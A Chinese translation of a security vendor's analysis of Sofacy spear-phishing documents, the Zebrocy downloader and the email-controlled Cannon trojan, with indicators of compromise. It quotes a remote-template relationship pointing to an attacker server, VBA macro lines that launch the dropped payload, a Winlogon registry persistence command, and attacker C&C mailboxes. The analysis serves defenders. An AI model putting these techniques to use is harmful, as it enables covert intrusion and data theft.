使用邮件实现C&C通信:新型木马Cannon分析

栏目: 编程工具 · 发布时间: 6年前

内容简介:在2018年10月下旬和11月初,Unit 42监测到一系列武器化文件,这些文件使用了某种技术来加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见,但由于其具有模块化的特点,因此自动分析系统很难将其识别为恶意文档。针对这种技术而言,如果C&C服务器在代码执行时不可用,那么则无法检索到恶意代码,从而导致该文档基本上被判断为良性的。这一武器化文件的目标是全球范围内的几个政府实体,包括北美、欧洲和前苏联国家。对我们来说幸运的是,其中几个文档中包含的C&C服务器仍在正常运行,允许我们查看恶意宏和后续Pay

使用邮件实现C&C通信:新型木马Cannon分析

一、概述

在2018年10月下旬和11月初,Unit 42监测到一系列武器化文件,这些文件使用了某种技术来加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见,但由于其具有模块化的特点,因此自动分析系统很难将其识别为恶意文档。针对这种技术而言,如果C&C服务器在代码执行时不可用,那么则无法检索到恶意代码,从而导致该文档基本上被判断为良性的。

这一武器化文件的目标是全球范围内的几个政府实体,包括北美、欧洲和前苏联国家。对我们来说幸运的是,其中几个文档中包含的C&C服务器仍在正常运行,允许我们查看恶意宏和后续Payload。经过分析,发现其中一部分文档的第一阶段Payload与Zebrocy木马一致。但此次发现了额外的一些文档,其中包含新型的第一阶段Payload,我们将其命名为Cannon。此前,我们从未观察到Cannon被Sofacy恶意组织使用。并且,Cannon中包含一个新型的C&C通信方式,该通信是基于电子邮件。尽管以电子邮件进行C&C通信并不是一种新方法,但一般不会像HTTP或HTTPS方式那样频繁地被使用。使用电子邮件进行C&C通信,也会降低被检测到的概率,因为在许多企业中,并没有将“向未知域名发送电子邮件”加入到可疑事件的范围中。

我们已经收集到大量武器化文档,本文将对其中的两个文档进行重点分析。这两个文档具有多个相同的特征,例如使用了相同的C&C IP地址,具有相同的作者名称和策略。其中一个文档的文件名非常值得关注:crash list(Lion Air Boeing 737).docx(坠毁清单-狮航波音737.docx)。可以看出,该恶意组织试图利用灾难性事件,吸引用户的注意力,从而执行攻击。

二、攻击细节

我们捕获到的初始样本是一个Microsoft Word文档(SHA256:2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f),其文件名为crash list(Lion Air Boeing 737).docx,作者名称为Joohn。该文档试图针对处理欧洲外交事务的政府组织进行鱼叉式网络钓鱼。一旦用户尝试打开此文档,Microsoft Word将立即尝试从DOCX文档settings.xml.rels文件中指定位置加载包含恶意宏和Payload的远程模板,如下所示:

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>

如果C&C已经离线,文档仍然会打开,但Word将无法检索远程模板,因此Word也无法加载宏。在这种情况下,Word将向受害者呈现出相同的诱饵文档,如下图所示,但无法通过“启用内容”按钮启用宏。如果C&C仍然在线,Word将会加载远程模板(SHA256:f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5),并向用户显示下图所示的内容。

使用邮件实现C&C通信:新型木马Cannon分析

一旦受害者点击“启用内容”按钮,就会执行嵌入式宏。在宏中,使用了不太常见的AutoClose函数。这是一种反分析的手段,因为在用户关闭文档之前,Word并不会完全执行恶意代码,所以如果自动化沙箱退出了分析会话而没有特意关闭文档,那么就无法捕捉到恶意活动。在宏成功执行后,将安装Payload,并将一个文档保存到系统。通常,我们见到的都是将一个诱饵文件保存到系统中,然后显示,从而使受害者不会怀疑存在恶意活动。但是,该木马保存的文件并没有显示,并且也不包含与狮航空难相关的任何内容。宏从存储为UserForm1.Label1.Caption的文档中获取要保存到系统中的文档,并将其写入到如下位置:

%TEMP%\~temp.docm

宏从存储为UserForm1.Label2.Caption的文档中,获取要投放到系统上的Payload,并将其写入到如下位置:

%APPDATA%\MSDN\~msdn.exe

宏通过加载~temp.docm文档,并在其嵌入式宏中调用函数来运行Payload,这是一种独特的执行Payload的方式。我们认为,该文档的创建者之所以选择从投放的文件中运行Payload,是为了逃避防护软件的监测。此外,初始的宏使用这一投放的文档来执行Payload的事实,也解释了为什么文档中不包含任何诱饵内容。

为了执行这一功能,在将~temp.docm和~msdndn.exe文件写入系统后,初始宏将~temp.docm文件作为Word文档对象加载,并尝试在~temp.docm文件的Module1宏中运行函数Proc1,其代码如下:

Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"

Module1中的Proc1函数只是为已投放的Payload创建%APPDATA%MSDN~msdn.exe路径,并使用内置的 Shell 函数来执行,其代码如下:

vAdd = "~msdn"
vFileName = Environ("APPDATA") & "MSDN" 
vFileName = vFileName + vAdd & ".e" + "x" & "e"
Shell vFileName

投放到系统的Payload(SHA256:6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a)是以Delphi语言编写而成,并经过UPX加壳,实际上是Zebrocy的一个变种。Zebrocy的这一变种在功能上,非常类似于我们在今年早些时候发现Sofacy组织使用的Zebrocy中的Payload。这一Payload使用以下URL进行C&C通信:

hxxp://188.241.58[.]170/local/s3/filters.php

Zebrocy木马会收集系统上的特定信息,通过HTTP POST请求发送到C&C服务器(也就是上述URL)。与其他Zebrocy样本一样,这一木马通过在命令行上运行SYSTEMINFO和TASKLIST,并通过遍历已连接的存储设备,来收集系统的特定信息,随后发送到C&C服务器。这一变种还会将被感染主机的屏幕截图,以JPEG图像的格式发送到C&C服务器上。然后,C&C服务器将以ASCII十六进制的形式,向信标提供辅助的Payload,木马会对其进行解码,并将解码后的内容写入如下位置:

%APPDATA%\RoamingAudiosoundfix.exe

在我们的分析过程中,发现C&C服务器还提供了一个辅助的Payload(SHA256:d18d909ee3eb65dfd49925853553c87f7fd8a40e7cebb0f342e43e0c1fbab7d7),其功能与最初的Zebrocy样本相似。辅助Payload也是使用Delphi语言编写,它是通过HTTPS协议访问以下URL,实现与C&C服务器的通信:

hxxps://200.122.181[.]25/catalog/products/books.php

三、新型Cannon木马分析

Cannon木马是以C#语言编写的,主要用作下载工具,以电子邮件的方式与C&C服务器进行通信。为了实现与C&C服务器的通信,木马通过TCP/587端口使用SMTPS协议向特定邮箱发送电子邮件。该 工具 按照特定顺序,执行以下功能:

1、收集系统信息和屏幕截图;

2、通过邮件方式,将收集的信息发送给恶意运营者;

3、检查收件箱中是否存在包含Payload的电子邮件;

4、下载电子邮件附件中的Payload;

5、执行下载的Payload。

实现上述活动的函数共有7个,具体如下。

3.1 start_Tick

该函数将字符串{SysPar = 65}写入名为s.txt的文件,这一文件将在木马与C&C服务器的通信过程中使用。此外,该函数还会将以下内容写入r.bat并执行该脚本,从而添加持久性:

REG ADD “HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon” /v Shell /t REG_SZ /d [path to wsslc.exe]

这一函数还会创建一个唯一的系统标识符,该标识符在C&C通信期间用于发送和接收信息。系统标识符使用C盘的序列号和Environment.UserName的前4个十六进制字节,生成16个字符的字符串。完成上述工作后,start_Tick函数启动计时器,并运行inf_Tick方法。

3.2 inf_Tick

该函数负责收集系统信息,并将其保存到i.ini文件中,其收集信息如下:

Application.ExecutablePath

Environment.OSVersion

Environment.SystemDirectory

Environment.UserDomainName

Environment.MachineName

Environment.UserName

TimeZone.CurrentTimeZone.StandardName

Environment.TickCount

DriveInfo.GetDrives() – Name,VolumeLabel,DriveFormat,DriveType,TotalSize,AvailableFreeSpace,Serial number

Folders in C:Program Files

Folders in C:Program Files (x86)

Process.GetProcesses

它将使用上述身份验证凭据登录SMTP服务器,并将i.ini文件发送到C&C邮箱。然后,inf_Tick函数启动计时器,并运行screen_Tick方法。

3.3 screen_Tick

该函数获取桌面的屏幕截图,并将其保存到名为sysscr.ops的文件中。它使用上述身份验证凭据登录SMTP服务器,并将sysscr.ops文件发送到C&C邮箱中。然后,screen_Tick函数启动计时器,并运行txt_Tick方法。

3.4 txt_Tick

木马将尝试使用trala.cosh2[at]post.cz帐户,以POP3S的方式登录pop.seznam[.]cz。如果成功,木马将遍历收件箱中的邮件,查找与唯一系统标识符匹配的任何电子邮件。如果存在,则将邮件的正文作为十六进制格式,保存到load_Tick函数将使用的变量中。木马会在阅读和处理邮件后,删除该电子邮件。

如果木马已经从电子邮件中获取了文本,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,txt_Tick函数启动计时器,并运行load_Tick方法。

3.5 load_Tick

该函数首先针对从txt_Tick函数中获取的文本,删除其中所有的“B&”和“Db”内容。然后,以%字符来分割剩余的文本,将其左侧的内容视为帐户名,其右侧的内容视为密码。木马使用这些凭据,通过POP3S登录pop.seznam[.]cz的另一个邮箱帐户,并检查以唯一系统标识符为主题的电子邮件。一旦发现匹配,木马将获取该邮件的附件,将名称中包含字符串auddevc的所有附件保存到系统中,也就是下载名为auddevc.txt的文件。此外,木马将会创建一个名为l.txt的文件,并将字符串090写入其中。

如果成功获取该文件,该函数将使用上述身份验证凭据登录SMTP服务器,并将l.txt文件发送到C&C电子邮件地址。然后,load_Tick函数启动计时器,并运行subject_Tick方法。

3.6 subject_Tick

该函数在功能上与txt_Tick函数非常相似,尝试使用trala.cosh2[at]post.cz帐户,以POP3S的方式登录pop.seznam[.]cz,在收件箱中再次查找与唯一系统标识符匹配的电子邮件。如果存在,则将邮件的正文作为十六进制格式,保存到run_Tick函数将使用的变量中,其内容应该是攻击者希望将load_Tick函数中保存的文件移动到的路径(也是运行路径)。

如果木马已经从电子邮件中获取了文本,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,subject_Tick函数启动计时器,并运行run_Tick方法。

3.7 run_Tick

该函数首先尝试在从subject_Tick函数获取到的路径中创建目录,然后尝试将load_Tick函数中下载的auddevc.txt文件移动到新创建的目录中。如果成功,该函数会使用上述身份验证凭据登录SMTP服务器,将I.txt文件发送到C&C邮箱。

然后,该函数尝试针对移动后的文件创建进程。如果能够成功运行下载的文件,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,会在退出之前删除sysscr.ops屏幕截图文件和i.ini系统信息文件。

四、新型Cannon木马通信过程

我们能从crash list(Lion Air Boeing 737).docx文档以及用于托管其远程模板的188.241.58[.]170 C&C IP上找到Joohn为作者的第二个文档。从结构上来看,这一文档与第一个文档非常相似,但实际上它所附带的Payload是一个全新的恶意木马,我们将其命名为Cannon。

该工具是以C#语言编写而成的,恶意代码存在于名为cannon的命名空间中,我们由此进行了木马的命名。该木马主要用于下载程序,并通过电子邮件实现木马与C&C服务器的通信。为了与C&C服务器进行通信,该木马将通过TCP/587端口使用SMTPS协议向特定电子邮件地址发送邮件。Cannon木马的功能如下表所示,该木马高度依赖带有计时器的EventHandler来按照特定顺序运行其方法,并且以此来增强其逃避检测的能力。

使用邮件实现C&C通信:新型木马Cannon分析

Cannon的最终目的,是使用多个电子邮件帐户,向恶意活动运营者发送系统数据(系统信息和屏幕截图),并从指定的电子邮件中获取Payload。下图展现了Cannon是如何与恶意运营者控制的C&C电子邮件地址进行通信以获得辅助Payload的:

使用邮件实现C&C通信:新型木马Cannon分析

1、Cannon收集系统信息,并将其保存到ini文件中。该木马发送电子邮件到sahro.bella7[at]post.cz,并将i.ini文件作为附件,将S_inf作为正文,将唯一系统标识符作为标题,该邮件使用SMTPS协议从以下帐户之一发送:

Bishtr.cam47

Lobrek.chizh

Cervot.woprov

2、Cannon获取屏幕截图,并将其保存到ops文件中。该木马发送电子邮件到sahro.bella7[at]post.cz,并将sysscr.ops文件作为附件,将Screen字符串作为正文,将唯一系统标识符作为标题,并使用SMTPS协议从上述帐户之一发送。

3、攻击者可能会登录sahro.bella7[at]post.cz邮箱,并处理木马发送的系统信息和屏幕截图,从而确定对被感染的主机是否感兴趣。如果攻击者希望向被感染主机发送额外的Payload,他们会通过以下步骤发送电子邮件。

4、攻击者发送电子邮件到trala.cosh2[at]post.cz,以系统标识符作为标题,并在正文中包含第二个邮箱和ASCII十六进制格式的凭据。

5、攻击者向第二个邮箱发送一封邮件,以系统标识符作为标题,将辅助Payload的文件名添加txt后缀,作为附件发送。

6、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户,查找标题与唯一系统标识符匹配的电子邮件。Cannon将打开标题相符的电子邮件,并解码邮件正文中的十六进制数据,以获取第二个邮箱。

7、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经收到第二个邮箱地址,并以s.txt(包含{SysPar = 65}字符串)作为附件,正文中包含唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

8、攻击者发送电子邮件到trala.cosh2[at]post.cz,以唯一的系统标识符为标题,其中包含用于保存辅助Payload的文件路径。

9、Cannon通过POP3S登录第二个邮箱,查找标题与唯一系统标识符匹配的电子邮件,打开该邮件,并保存名为auddevc.txt的附件。

10、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含090字符串)作为附件,正文中包含ok2,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

11、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户,查找标题与唯一系统标识符匹配的电子邮件,打开该邮件,并解码正文中的十六进制数据,以获取用于保存auddevc.txt的文件路径。

12、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含{SysPar = 65}字符串)作为附件,正文中包含ok3,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

13、Cannon将下载的文件移动到指定的路径。

14、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含090字符串)作为附件,正文中包含ok4,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

15、Cannon从指定的路径运行下载的文件。

16、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经成功执行,并以s.txt(包含{SysPar = 65}字符串)作为附件,正文中包含ok5,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。

五、总结

Sofacy将目标持续瞄准欧盟、美国和前苏联国家的政府组织,并且使用Zebrocy木马作为Payload。在这些攻击中,用于安装Zebrocy的承载文档使用了远程模板,从而增加了对攻击行为进行分析的难度。Sofacy组织还利用最近的狮航空难作为其中一次攻击的诱饵,这种攻击方式展现出了他们持续利用社会工程学的倾向。

值得注意的是,我们还发现Sofacy组织使用非常相似的承载文档,提供一个名为Cannon的新型木马。与使用基于HTTP或HTTPS方式与C&C服务器通信的Zebrocy相比,Cannon使用SMTPS和POP3S作为其C&C通道。尽管这不是一种新的策略,但显然这种方法更能有效地逃避检测,因为所涉及的外部主机是合法的电子邮件服务提供商。攻击者利用了加密的SMTPS和POP3S协议,同时还利用了合法的Web服务,这样一来,对 C&C通信的阻止就变得非常困难。

六、IoC

运载文档哈希值:

2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f

af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392

远程模板哈希值:

f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5

fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d

远程模板位置:

hxxp://188.241.58[.]170/live/owa/office.dotm

Zebrocy哈希值:

6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a

Zebrocy C&C URL:

hxxp://188.241.58[.]170/local/s3/filters.php

hxxps://200.122.181[.]25/catalog/products/books.php

Cannon哈希值:

61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e

Cannon电子邮件帐户:

sahro.bella7[at]post.cz

trala.cosh2[at]post.cz

bishtr.cam47[at]post.cz

lobrek.chizh[at]post.cz

cervot.woprov[at]post.cz


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Haskell

Haskell

Simon Thompson / Addison-Wesley / 1999-3-16 / GBP 40.99

The second edition of Haskell: The Craft of Functional Programming is essential reading for beginners to functional programming and newcomers to the Haskell programming language. The emphasis is on th......一起来看看 《Haskell》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码